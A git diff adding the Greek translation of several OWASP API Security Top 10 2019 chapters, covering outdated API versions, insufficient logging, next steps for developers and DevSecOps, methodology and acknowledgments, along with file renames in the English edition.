Ανιχνευσιμότητα **2** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Οι παλιές εκδόσεις ενός API μένουν συνήθως ανενημέρωτες από ενημερώσεις ασφαλείας (unpatched) και έτσι αποτελούν έναν εύκολο τρόπο για την παραβίαση συστημάτων χωρίς να χρειάζεται ο εισβολέας να αντιμετωπίσει μηχανισμούς ασφαλείας τελευταίας τεχνολογίας, οι οποίοι μπορεί να υπάρχουν αλλά να προστατεύουν μόνο τις νέες εκδόσεις ενός API. | Η μη ενημερωμένη τεκμηρίωση (documentation) ενός API καθιστά πιο δύσκολη την εύρεση ή/και τη διόρθωση ευπαθειών. Η έλλειψη μεθοδικής καταγραφής των πληροφοριακών στοιχείων (assets inventory) και η έλλειψη στρατηγικών απόσυρσης (retire strategies) οδηγούν στο να τρέχουν ανενημέρωτα (unpatched) συστήματα, με αποτέλεσμα τη διαρροή ευαίσθητων δεδομένων. Είναι σύνηθες να βρίσκουμε άσκοπα εκτεθειμένους κεντρικούς υπολογιστές API λόγω των σύγχρονων concepts όπως τα microservices, τα οποία καθιστούν τις εφαρμογές ανεξάρτητες και εύκολες στην ανάπτυξη (π.χ. υπολογιστικό νέφος (cloud), k8s). | Οι εισβολείς ενδέχεται να αποκτήσουν πρόσβαση σε ευαίσθητα δεδομένα ή ακόμη και πάρουν τον έλεγχο του διακομιστή μέσω παλιών, μη ενημερωμένων εκδόσεων API που συνδέονται στην ίδια βάση δεδομένων. | + +## Πότε το API είναι ευάλωτο + +Το API ίσως είναι ευάλωτο όταν: + +* Ο σκοπός ενός κεντρικού υπολογιστή API είναι ασαφής και δεν υπάρχουν σαφείς απαντήσεις στις ακόλουθες ερωτήσεις: + * Σε ποιο περιβάλλον εκτελείται το API (π.χ. παραγωγή (production), σταδιοποίηση (staging), δοκιμή (test), ανάπτυξη (development)); + * Ποιος πρέπει να έχει δικτυακή πρόσβαση στο API (π.χ. δημόσια πρόσβαση, εσωτερική πρόσβαση, πρόσβαση σε συνεργάτες); + * Ποια έκδοση API εκτελείται; + * Ποια δεδομένα συλλέγονται και επεξεργάζονται από το API (π.χ. Προσωπικά αναγνωρίσιμα στοιχεία (PII)); + * Ποια είναι η ροή των δεδομένων; +* Δεν υπάρχει τεκμηρίωση (documentation) ή η υπάρχουσα τεκμηρίωση δεν έχει ενημερωθεί. +* Δεν υπάρχει σχέδιο απόσυρσης (retirement plan) για κάθε έκδοση API. +* Δεν υπάρχει αρχείο καταγραφής όλων των hosts (hosts inventory) ή αν υπάρχει δεν είναι ενημερωμένο. +* Το αρχείο καταγραφής ολοκληρωμένων υπηρεσιών (integrated services inventory), είτε της εταιρίας που φτιάχνει το API (first-party), είτε τρίτων μελών (third-party), λείπει ή είναι παλιό. +* Εκτελούνται παλιές ή προηγούμενες εκδόσεις του API χωρίς ενημέρωση. + +## Παραδείγματα Σεναρίων Επίθεσης + +### Σενάριο Επίθεσης #1 + +Μετά τον επανασχεδιασμό των εφαρμογών της, μια τοπική υπηρεσία αναζήτησης άφησε μια +παλιά έκδοση API (`api.someservice.com/v1`) σε λειτουργία, απροστάτευτη και με +πρόσβαση στη βάση δεδομένων των χρηστών. Ένας εισβολέας, ενώ στόχευε μία από τις πιο πρόσφατες +εφαρμογές που κυκλοφόρησαν, βρήκε τη διεύθυνση API (`api.someservice.com/v2`). +Η αντικατάσταση του «v2» με το «v1» στη διεύθυνση URL έδωσε στον εισβολέα πρόσβαση στο παλιό, +μη προστατευμένο API, εκθέτοντας τα προσωπικά στοιχεία ταυτοποίησης (PII) περισσότερων από 100 εκατομμυρίων χρηστών. + +### Σενάριο Επίθεσης #2 + +Ένα κοινωνικό δίκτυο εφάρμοσε έναν μηχανισμό περιορισμού ρυθμού (rate limiting) που εμποδίζει +τους εισβολείς να χρησιμοποιούν επιθέσεις ωμής βίας (brute force attacks) για να μαντέψουν τα +διακριτικά επαναφοράς κωδικών πρόσβασης. Αυτός ο μηχανισμός δεν εφαρμόστηκε ως μέρος του ίδιου +του κώδικα API, αλλά σε ένα ξεχωριστό στοιχείο (component) μεταξύ του πελάτη και του επίσημου API («www.socialnetwork.com»). +Ένας ερευνητής βρήκε έναν δεύτερο κεντρικό υπολογιστή («www.mbasic.beta.socialnetwork.com») που εκτελεί το ίδιο API, συμπεριλαμβανομένου του μηχανισμού επαναφοράς κωδικού πρόσβασης, +αλλά χωρίς μηχανισμό περιορισμού ρυθμού. Ο ερευνητής μπόρεσε να επαναφέρει τον κωδικό πρόσβασης +οποιουδήποτε χρήστη χρησιμοποιώντας μια απλή επίθεση ωμής βίας για να μαντέψει το διακριτικό των 6 ψηφίων. + +## Τρόπος Πρόληψης + +* Καταγράψτε όλους τους υπολογιστές (hosts) που φιλοξενούν API. Καταγράψτε τα περιβάλλοντα που τρέχουν τα API (production, staging, test, development). +Επίσης καταγράψτε ποιος θα πρέπει να έχει πρόσβαση σε αυτά (ανοιχτά σε όλους, εσωτερική πρόσβαση, πρόσβαση σε συνεργάτες) καθώς και την έκδοση τους. +* Καταγράψτε τις ολοκληρωμένες υπηρεσίες (integrated services) δηλαδή τις εξωτερικές υπηρεσίες που χρησιμοποιούν το API. Τεκμηριώστε σημαντικές πτυχές τους όπως ο ρόλος τους στο σύστημα, ποια δεδομένα ανταλλάσσονται (ροή δεδομένων) και η ευαισθησία τους. +* Τεκμηριώστε όλες τις πτυχές του API σας, όπως τον έλεγχο ταυτότητας, τα σφάλματα, τις ανακατευθύνσεις, τον περιορισμό ρυθμού, την πολιτική και τα τελικά σημεία κοινής χρήσης πόρων μεταξύ προέλευσης (CORS), συμπεριλαμβανομένων των παραμέτρων, των αιτημάτων και των απαντήσεών τους. +* Δημιουργήστε τεκμηρίωση αυτόματα υιοθετώντας ανοιχτά πρότυπα (open standards). Συμπεριλάβετε την αυτόματη δημιουργία τεκμηρίωσης στο σύστημα CI/CD σας. +* Παραχωρήστε πρόσβαση στην τεκμηρίωση API σε όσους είναι εξουσιοδοτημένοι να χρησιμοποιούν το API. +* Χρησιμοποιήστε εξωτερικά μέτρα προστασίας, όπως τείχη προστασίας ασφαλείας API για όλες τις εκτεθειμένες εκδόσεις των API σας και όχι μόνο για την τρέχουσα έκδοση παραγωγής. +* Αποφύγετε τη χρήση δεδομένων παραγωγής σε μη παραγωγικές διανομές (deployments) του API. Εάν αυτό είναι αναπόφευκτο, αυτά τα τελικά σημεία προορισμού θα πρέπει να τυγχάνουν της ίδιας μεταχείρισης ασφαλείας με αυτά της παραγωγής. +* Όταν νεότερες εκδόσεις των API περιλαμβάνουν βελτιώσεις ασφαλείας, πραγματοποιήστε ανάλυση κινδύνου για να αποφασίσετε για τις ενέργειες μετριασμού που απαιτούνται για τις παλαιότερες εκδόσεις: για παράδειγμα, εάν είναι δυνατή η υποστήριξη των βελτιώσεων χωρίς να διαταραχθεί η συμβατότητα API ή εάν πρέπει να αφαιρέσετε τις παλαιότερες εκδόσεις γρήγορα και να αναγκάσετε όλους τους χρήστες / εφαρμογές-πελάτες να μετακινηθούν στην πιο πρόσφατη έκδοση. + +## Αναφορές (References) + +### Εξωτερικές Αναφορές + +* [CWE-1059: Incomplete Documentation][1] +* [OpenAPI Initiative][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/el-gr/0xaa-insufficient-logging-monitoring.md b/editions/2019/el-gr/0xaa-insufficient-logging-monitoring.md new file mode 100644 index 000000000..bfc56d891 --- /dev/null +++ b/editions/2019/el-gr/0xaa-insufficient-logging-monitoring.md @@ -0,0 +1,59 @@ +# API10:2019 Insufficient Logging & Monitoring + +| Παράγοντες Απειλής (Threat agents) / Φορείς Επίθεσης (Attack vectors) | Αδυναμία Ασφαλείας (Security Weakness) | Επιπτώσεις (Impacts) | +| - | - | - | +| Εξαρτώνται από το API : Εκμεταλλευσιμότητα **2** | Επικράτηση (Prevalence) **3** : Ανιχνευσιμότητα **1** | Τεχνικές Επιπτώσεις **2** : Εξαρτώνται από την Επιχείρηση | +| Οι επιτιθέμενοι εκμεταλλεύονται την έλλειψη καταγραφής συμβάντων (logging) και παρακολούθησης (monitoring) για να επιτεθούν σε συστήματα χωρίς να γίνουν αντιληπτοί. | Χωρίς καταγραφή και παρακολούθηση ή με ανεπαρκή καταγραφή και παρακολούθηση, είναι σχεδόν αδύνατο να παρακολουθήσετε ύποπτες δραστηριότητες και να αντιδράσετε έγκαιρα. | Χωρίς ορατότητα σε συνεχείς κακόβουλες δραστηριότητες, οι εισβολείς έχουν άφθονο χρόνο για να υπονομεύσουν πλήρως τα συστήματα σας. | + +## Πότε το API είναι ευάλωτο + +Το API είναι ευάλωτο όταν: + +* Δεν παράγει κανένα αρχείο καταγραφής συμβάντων, το επίπεδο καταγραφής δεν έχει ρυθμιστεί σωστά ή τα μηνύματα καταγραφής δεν περιλαμβάνουν αρκετές λεπτομέρειες. +* Η ακεραιότητα των μηνυμάτων καταγραφής δεν είναι εγγυημένη (π.χ. [Log Injection][1]). +* Τα αρχεία καταγραφής δεν παρακολουθούνται συνεχώς. +* Η υποδομή API δεν παρακολουθείται συνεχώς. + +## Παραδείγματα από Σενάρια Επίθεσης + +### Σενάριο Επίθεσης #1 + +Τα κλειδιά πρόσβασης ενός διαχειριστικού API διέρρευσαν σε ένα δημόσια προσβάσιμο χώρο αποθήκευσης κώδικα (αποθετήριο) (public repository). +Ο κάτοχος του αποθετηρίου ειδοποιήθηκε μέσω email σχετικά με την πιθανή διαρροή, +αλλά χρειάστηκαν περισσότερες από 48 ώρες για να αντιμετωπιστεί το συμβάν και η έκθεση των κλειδιών πρόσβασης μπορεί να επέτρεψε την πρόσβαση σε ευαίσθητα δεδομένα. Λόγω ανεπαρκούς καταγραφής, η εταιρεία δεν είναι σε θέση να αξιολογήσει σε ποια δεδομένα είχαν πρόσβαση κακόβουλοι παράγοντες. + +### Σενάριο Επίθεσης #2 + +Μια πλατφόρμα κοινής χρήσης βίντεο χτυπήθηκε από μια «μεγάλης κλίμακας» επίθεση τροφοδότησης διαπιστευτηρίων (credential stuffing). +Παρά το γεγονός ότι αποτυχημένες προσπάθειες σύνδεσης καταγράφηκαν στα αρχεία καταγραφής συμβάντων, δεν στάλθηκαν ειδοποιήσεις ασφαλείας κατά τη διάρκεια του χρόνου της επίθεσης. Έπειτα από παράπονα χρηστών, τα αρχεία καταγραφής συμβάντων του API αναλύθηκαν και η επίθεση εντοπίστηκε. +Η εταιρεία αναγκάστηκε να αναφέρει το περιστατικό στις ρυθμιστικές αρχές και να κάνει μια δημόσια ανακοίνωση ζητώντας από τους χρήστες να επαναφέρουν τους κωδικούς πρόσβασής τους. + +## Τρόπος Πρόληψης + +* Καταγράψτε όλες τις αποτυχημένες προσπάθειες ελέγχου ταυτότητας, την άρνηση πρόσβασης και τα σφάλματα επικύρωσης εισαγωγής (input validation errors). +* Τα αρχεία καταγραφής πρέπει να συντάσσονται χρησιμοποιώντας μια μορφή κατάλληλη για αξιοποίηση από μια εφαρμογή διαχείρισης αρχείων καταγραφής συμβάντων (log management solution) και θα πρέπει να περιλαμβάνουν αρκετές λεπτομέρειες για τον εντοπισμό του κακόβουλου παράγοντα. +* Τα αρχεία καταγραφής θα πρέπει να αντιμετωπίζονται ως ευαίσθητα δεδομένα και η ακεραιότητά τους θα πρέπει να είναι εγγυημένη κατά την αποθήκευση και τη μεταφορά. +* Χρησιμοποιήστε ένα σύστημα παρακολούθησης (monitoring system) για συνεχή παρακολούθηση της υποδομής, του δικτύου και της λειτουργίας των APIs. +* Χρησιμοποιήστε ένα σύστημα διαχείρισης πληροφοριών ασφαλείας και συμβάντων (SIEM) για να συγκεντρώσετε και να διαχειριστείτε αρχεία καταγραφής από όλα τα στοιχεία των APIs και των κεντρικών υπολογιστών. +* Δημιουργήστε εξατομικευμένους πίνακες παρακολούθησης ειδοποιήσεων (dashboards). Οι πίνακες αυτοί θα διευκολύνουν τον γρηγορότερο εντοπισμό και την διαχείριση ύποπτων δραστηριοτήτων. + +## Αναφορές (References) + +### Αναφορές OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging and Intrusion Detection][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and + Logging Verification Requirements][4] + +### Εξωτερικές Αναφορές + +* [CWE-223: Omission of Security-relevant Information][5] +* [CWE-778: Insufficient Logging][6] + +[1]: https://www.owasp.org/index.php/Log_Injection +[2]: https://www.owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://www.owasp.org/index.php/OWASP_Proactive_Controls +[4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/223.html +[6]: https://cwe.mitre.org/data/definitions/778.html diff --git a/editions/2019/el-gr/0xb0-next-devs.md b/editions/2019/el-gr/0xb0-next-devs.md new file mode 100644 index 000000000..b60423680 --- /dev/null +++ b/editions/2019/el-gr/0xb0-next-devs.md @@ -0,0 +1,34 @@ +# Επόμενα Βήματα για Προγραμματιστές + +Η εργασία δημιουργίας και συντήρησης ασφαλούς λογισμικού καθώς και η επιδιόρθωση αυτού είναι δύσκολη υπόθεση. +Το ίδιο ισχύει και για τα APIs. + +Πιστεύουμε ότι η εκπαίδευση και η ευαισθητοποίηση είναι βασικοί παράγοντες για τη δημιουργία ασφαλούς λογισμικού. +Τα υπόλοιπα που απαιτούνται για την επίτευξη του στόχου, εξαρτώνται από τη δημιουργία και τη χρήση επαναλαμβανόμενων +διαδικασιών και τυπικών ελέγχων ασφαλείας. + +Το OWASP διαθέτει πολλούς δωρεάν και ανοιχτούς πόρους για την αντιμετώπιση της ασφάλειας από την αρχή του έργου. +Επισκεφτείτε τη [σελίδα OWASP Projects][1] για την ολοκληρωμένη λίστα των διαθέσιμων έργων. + +| | | +|-|-| +| **Εκπαίδευση** | Μπορείτε να ξεκινήσετε να διαβάζετε το [υλικό του OWASP Education Project][2] ανάλογα με το επάγγελμα και το ενδιαφέρον σας. Για πρακτική μάθηση, προσθέσαμε το **crAPI** - **C**ompletely **R**idiculous **API** στον [οδικό μας χάρτη (roadmap)][3]. Εν τω μεταξύ, μπορείτε να εξασκηθείτε στο WebAppSec χρησιμοποιώντας το [OWASP DevSlop Pixi Module][4], μια ευάλωτη υπηρεσία WebApp και API που έχει σκοπό να διδάξει στους χρήστες πώς να δοκιμάζουν σύγχρονες εφαρμογές ιστού και API για ζητήματα ασφάλειας και πώς να γράφουν πιο ασφαλή APIs στο μέλλον. Μπορείτε επίσης να παρακολουθήσετε εκπαιδευτικές συνεδρίες του [Συνεδρίου OWASP AppSec][5] ή να [εγγραφείτε στο τοπικό σας τμήμα][6]. +| **Απαιτήσεις Ασφαλείας** | Η ασφάλεια πρέπει να είναι μέρος κάθε έργου (project) από την αρχή. Όταν βρίσκεστε στο στάδιο της εξαγωγής απαιτήσεων (requirements elicitation), είναι σημαντικό να ορίσετε τι σημαίνει "ασφαλές" για το έργο σας. Το OWASP συνιστά να χρησιμοποιείτε το [Πρότυπο Επαλήθευσης Ασφάλειας Εφαρμογών OWASP (ASVS) (OWASP Application Security Verification Standard)][7] ως οδηγό για τον καθορισμό των απαιτήσεων ασφαλείας. Εάν αναθέτετε το έργο σας σε εξωτερικούς συνεργάτες (outsourcing), εξετάστε το [Παράρτημα Σύμβασης Ασφαλούς Λογισμικού OWASP][8], το οποίο θα πρέπει να προσαρμοστεί σύμφωνα με την τοπική νομοθεσία και τους κανονισμούς της.| +| **Αρχιτεκτονική Ασφαλείας** | Η ασφάλεια θα πρέπει να λαμβάνεται υπόψιν σε όλα τα στάδια του έργου. Τα [Σκονάκια Πρόληψης OWASP (OWASP Prevention Cheat Sheets)][9] είναι ένα καλό σημείο εκκίνησης για καθοδήγηση σχετικά με τον τρόπο σχεδιασμού ασφάλειας κατά τη φάση σχεδιασμού / αρχιτεκτονικής. Μεταξύ πολλών άλλων, θα βρείτε το σκονάκι [REST Security Cheat Sheet][10] και το σκονάκι [REST Assessment Cheat Sheet][11].| +| **Τυπικοί Έλεγχοι Ασφαλείας** | Η υιοθέτηση Τυποποιημένων Μηχανισμών Ελέγχων Ασφαλείας (Standard Security Controls) μειώνει τον κίνδυνο εισαγωγής αδυναμιών ασφαλείας κατά την διάρκεια υλοποίησης της λογικής του λογισμικού σας. Παρά το γεγονός ότι πολλά σύγχρονα frameworks διαθέτουν πλέον ενσωματωμένους τυπικούς αποτελεσματικούς ελέγχους, τα [OWASP Proactive Controls][12] σας παρέχουν μια καλή επισκόπηση των στοιχείων ελέγχου ασφαλείας που πρέπει να συμπεριλάβετε στο έργο σας. Το OWASP παρέχει επίσης ορισμένες βιβλιοθήκες και εργαλεία που μπορεί να σας φανούν πολύτιμα, όπως στοιχεία ελέγχου επικύρωσης (validation controls).| +| **Κύκλος Ζωής Ασφαλούς Ανάπτυξης Λογισμικού** | Μπορείτε να χρησιμοποιήσετε το [OWASP Software Assurance Maturity Model (SAMM)][13] για να βελτιώσετε τη διαδικασία κατά τη δημιουργία των APIs. Πολλά ακόμα έργα OWASP είναι διαθέσιμα για να σας βοηθήσουν σε όλες τις διαφορετικές φάσεις ανάπτυξης API, π.χ., το [Έργο Αναθεώρησης Κώδικα OWASP (OWASP Code Review Project)][14]. | + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/el-gr/0xb1-next-devsecops.md b/editions/2019/el-gr/0xb1-next-devsecops.md new file mode 100644 index 000000000..5b5fbab0c --- /dev/null +++ b/editions/2019/el-gr/0xb1-next-devsecops.md @@ -0,0 +1,28 @@ +# Επόμενα Βήματα για DevSecOps + +Λόγω της σημασίας τους στις σύγχρονες αρχιτεκτονικές εφαρμογών, η δημιουργία ασφαλών API είναι ζωτικής σημασίας. +Η ασφάλεια δεν μπορεί να παραμεληθεί και θα πρέπει να αποτελεί μέρος ολόκληρου του κύκλου ζωής της ανάπτυξης των APIs. +Η σάρωση (scanning) και οι ετήσιες δοκιμές διείσδυσης (penetration tests) δεν είναι πλέον αρκετές. + +Οι DevSecOps θα πρέπει να συμμετάσχουν στην προσπάθεια ανάπτυξης, διευκολύνοντας τις συνεχείς δοκιμές ασφαλείας +σε ολόκληρο τον κύκλο ζωής ανάπτυξης λογισμικού. Στόχος τους είναι να ενισχύσουν τον αγωγό ανάπτυξης (development pipeline) με +αυτοματισμό ασφαλείας (security automation), χωρίς να επηρεάζουν την ταχύτητα ανάπτυξης. + +Για περισσότερες πληροφορίες, μπορείτε να ελέγχετε συχνά το [DevSecOps Manifesto][1] για να μείνετε ενημερωμένοι. + +| | | +|-|-| +| **Κατανοήστε το Μοντέλο Απειλής (Threat Model)** | Οι προτεραιότητες δοκιμών (testing priorities) προέρχονται από ένα μοντέλο απειλής (threat model). Εάν δεν έχετε μοντέλο απειλής, εξετάστε το ενδεχόμενο να χρησιμοποιήσετε το [Πρότυπο Επαλήθευσης Ασφάλειας Εφαρμογών OWASP (OWASP Application Security Verification Standard) (ASVS)][2] και τον [Οδηγό Δοκιμής OWASP (OWASP Testing Guide)][3]. Η συμμετοχή της ομάδας ανάπτυξης μπορεί να βοηθήσει τους προγραμματιστές να γίνουν περισσότερο ενήμεροι για την ασφάλεια.| +| **Κατανoήστε το SDLC** | Γίνετε μέλος της ομάδας ανάπτυξης για να κατανοήσετε καλύτερα τον Κύκλο Ζωής Ανάπτυξης Λογισμικού. Η συνεισφορά σας στις συνεχείς δοκιμές ασφαλείας θα πρέπει να είναι συμβατή με τα άτομα, τις διαδικασίες και τα εργαλεία που έχουν θεσπιστεί. Να επισημανθεί ότι πρέπει να συμφωνούν όλοι με τη διαδικασία, ώστε να μην υπάρχουν περιττές τριβές ή αντιστάσεις. | +| **Στρατηγικές Testing** | Καθώς η εργασία σας δεν πρέπει να επηρεάζει την ταχύτητα ανάπτυξης του API, θα πρέπει να επιλέξετε με σύνεση την καλύτερη (απλή, ταχύτερη, πιο ακριβή) τεχνική για να επαληθεύσετε τις απαιτήσεις ασφαλείας. Το [Γνωσιακό Πλαίσιο Ασφαλείας OWASP (OWASP Security Knowledge Framework)][4] και το [Πρότυπο Επαλήθευσης Ασφάλειας Εφαρμογών OWASP (OWASP Application Security Verification Standard)][5] μπορούν να αποτελέσουν εξαιρετικές πηγές λειτουργικών και μη λειτουργικών απαιτήσεων ασφαλείας. Υπάρχουν άλλες εξαιρετικές πηγές για [Έργα][6] και [Εργαλεία][7] παρόμοιες με αυτήν που προσφέρει η [Κοινότητα DevSecOps][8].| +| **Επίτευξη Κάλυψης (Coverage) και ακρίβειας (Accuracy)** | Είστε η γέφυρα μεταξύ προγραμματιστών και ομάδων λειτουργιών (operation teams). Για να πετύχετε κάλυψη (coverage), δεν πρέπει να εστιάσετε μόνο στη λειτουργικότητα, αλλά και στην ενορχήστρωση. Εργαστείτε από την αρχή κοντά στις ομάδες ανάπτυξης και λειτουργίας, ώστε να βελτιστοποιήσετε τον χρόνο και την προσπάθειά σας. Θα πρέπει να στοχεύσετε σε μια κατάσταση όπου η βασική ασφάλεια επαληθεύεται συνεχώς. | +| **Επικοινωνήστε με σαφήνεια τα ευρήματα** | Συνεισφέρετε αξία με λιγότερη ή καθόλου τριβή. Παραδώστε τα ευρήματα σας έγκαιρα, μέσα στα εργαλεία που χρησιμοποιούν οι ομάδες ανάπτυξης (όχι αρχεία PDF). Γίνετε μέλος της ομάδας ανάπτυξης για να αντιμετωπίσετε τα ευρήματα. Εκμεταλλευτείτε την ευκαιρία για να τους εκπαιδεύσετε, περιγράφοντας ξεκάθαρα την αδυναμία και πώς μπορεί να γίνει κατάχρηση της, συμπεριλαμβάνοντας ένα σενάριο επίθεσης για να γίνετε κατανοητοί.| + +[1]: https://www.devsecops.org/ +[2]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[3]: https://www.owasp.org/index.php/OWASP_Testing_Project +[4]: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework +[5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: http://devsecops.org diff --git a/editions/2019/el-gr/0xd0-about-data.md b/editions/2019/el-gr/0xd0-about-data.md new file mode 100644 index 000000000..9d9e86c26 --- /dev/null +++ b/editions/2019/el-gr/0xd0-about-data.md @@ -0,0 +1,38 @@ +# Μεθοδολογία και Δεδομένα + +## Σύνοψη + +Δεδομένου ότι η βιομηχανία AppSec δεν έχει εστιάσει στην πιο πρόσφατη αρχιτεκτονική εφαρμογών, +στην οποία τα API διαδραματίζουν σημαντικό ρόλο, η σύνταξη μιας λίστας με τους δέκα πιο κρίσιμους +κινδύνους ασφαλείας API, με βάση μια δημόσια πρόσκληση για δεδομένα, θα ήταν δύσκολο έργο. +Παρά το γεγονός ότι δεν υπάρχει δημόσια κλήση δεδομένων, η προκύπτουσα λίστα Top 10 εξακολουθεί +να βασίζεται σε δημόσια διαθέσιμα δεδομένα, συνεισφορές ειδικών σε θέματα ασφαλείας και σε ανοιχτή συζήτηση +με την κοινότητα ασφαλείας. + +## Μεθοδολογία και Δεδομένα + +Στην πρώτη φάση συλλέχθηκαν, εξετάστηκαν και κατηγοριοποιήθηκαν δημόσια δεδομένα σχετικά +με συμβάντα ασφαλείας API από μια ομάδα ειδικών σε θέματα ασφαλείας. Τα δεδομένα αυτά συλλέχθηκαν +από πλατφόρμες επιβράβευσης σφαλμάτων (bug bounty platforms) και βάσεις δεδομένων ευπάθειας, τα οποία καταχωρήθηκαν στο χρονικό διάστημα ενός έτους και χρησιμοποιήθηκαν για στατιστικούς σκοπούς. + +Στην επόμενη φάση οι επαγγελματίες ασφαλείας με εμπειρία σε δοκιμές διείσδυσης +(penetration testing) κλήθηκαν να συντάξουν τη δική τους λίστα Top 10. + +Η [OWASP Risk Rating Methodology][1] χρησιμοποιήθηκε για την εκτέλεση της Ανάλυσης Κινδύνου. +Οι βαθμολογίες συζητήθηκαν και αναθεωρήθηκαν μεταξύ των επαγγελματιών ασφαλείας. +Για περισσότερες πληροφορίες σχετικά με αυτά τα θέματα ανατρέξτε στην ενότητα [Κίνδυνοι Ασφαλείας API][2]. + +Το πρώτο προσχέδιο του OWASP API Security Top 10 2019 προέκυψε από συναίνεση των +στατιστικών αποτελεσμάτων της πρώτης φάσης και από τις λίστες που προετοίμασαν οι επαγγελματίες ασφαλείας. +Το προσχέδιο υποβλήθηκε στη συνέχεια για εκτίμηση και αξιολόγηση από άλλη ομάδα +επαγγελματιών ασφαλείας, με σχετική εμπειρία στους τομείς ασφαλείας API. + +Το OWASP API Security Top 10 2019 παρουσιάστηκε για πρώτη φορά στην εκδήλωση +OWASP Global AppSec Tel Aviv (Μάιος 2019). Από τότε είναι διαθέσιμο στο GitHub +για δημόσια συζήτηση και συνεισφορές. + +Η λίστα των συντελεστών είναι διαθέσιμη στην ενότητα [Ευχαριστίες][3]. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/el-gr/0xd1-acknowledgments.md b/editions/2019/el-gr/0xd1-acknowledgments.md new file mode 100644 index 000000000..1cf646356 --- /dev/null +++ b/editions/2019/el-gr/0xd1-acknowledgments.md @@ -0,0 +1,39 @@ +# Ευχαριστίες + +## Ευχαριστίες προς τους Συντελεστές + +Θα θέλαμε να ευχαριστήσουμε τους ακόλουθους συντελεστές που συνεισέφεραν δημόσια στο GitHub ή με άλλα μέσα: + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* Sagar Popat +* Stephen Gates +* thomaskonrad +* xycloops123 diff --git a/editions/2019/el-gr/dist/owasp-api-security-top-10.odt b/editions/2019/el-gr/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..f1ae74a0e Binary files /dev/null and b/editions/2019/el-gr/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/el-gr/dist/owasp-api-security-top-10.pdf b/editions/2019/el-gr/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..503425959 Binary files /dev/null and b/editions/2019/el-gr/dist/owasp-api-security-top-10.pdf differ diff --git a/2019/fr/src/images/cover.jpg b/editions/2019/el-gr/images/cover.jpg old mode 100755 new mode 100644 similarity index 100% rename from 2019/fr/src/images/cover.jpg rename to editions/2019/el-gr/images/cover.jpg diff --git a/2019/fr/src/images/front-cc.png b/editions/2019/el-gr/images/front-cc.png old mode 100755 new mode 100644 similarity index 100% rename from 2019/fr/src/images/front-cc.png rename to editions/2019/el-gr/images/front-cc.png diff --git a/2019/fr/src/images/front-wasp.png b/editions/2019/el-gr/images/front-wasp.png old mode 100755 new mode 100644 similarity index 100% rename from 2019/fr/src/images/front-wasp.png rename to editions/2019/el-gr/images/front-wasp.png diff --git a/2019/fr/src/images/license.png b/editions/2019/el-gr/images/license.png old mode 100755 new mode 100644 similarity index 100% rename from 2019/fr/src/images/license.png rename to editions/2019/el-gr/images/license.png diff --git a/2019/fr/src/images/owasp-logo.png b/editions/2019/el-gr/images/owasp-logo.png old mode 100755 new mode 100644 similarity index 100% rename from 2019/fr/src/images/owasp-logo.png rename to editions/2019/el-gr/images/owasp-logo.png diff --git a/2019/en/src/0x00-header.md b/editions/2019/en/0x00-header.md similarity index 70% rename from 2019/en/src/0x00-header.md rename to editions/2019/en/0x00-header.md index 395feecf9..87da470ae 100644 --- a/2019/en/src/0x00-header.md +++ b/editions/2019/en/0x00-header.md @@ -1,12 +1,16 @@ -![OWASP LOGO](images/owasp-logo.png) +--- +title: '' +--- -## OWASP API Security Top 10 2019 +![OWASP LOGO](./images/owasp-logo.png) + +# OWASP API Security Top 10 2019 The Ten Most Critical API Security Risks May 29th, 2019 -![WASP Logo URL TBA](images/front-wasp.png) +![WASP Logo URL TBA](./images/front-wasp.png) | | | | | - | - | - | diff --git a/2019/en/src/0x00-notice.md b/editions/2019/en/0x00-notice.md similarity index 89% rename from 2019/en/src/0x00-notice.md rename to editions/2019/en/0x00-notice.md index 96f02e468..b0aecaa39 100644 --- a/2019/en/src/0x00-notice.md +++ b/editions/2019/en/0x00-notice.md @@ -1,5 +1,4 @@ -Notice -====== +# Notice This is the text version of OWASP API Security Top 10, used as source for the official version distributed as a Portable Document Format (PDF). @@ -11,4 +10,4 @@ should be done here. For details on 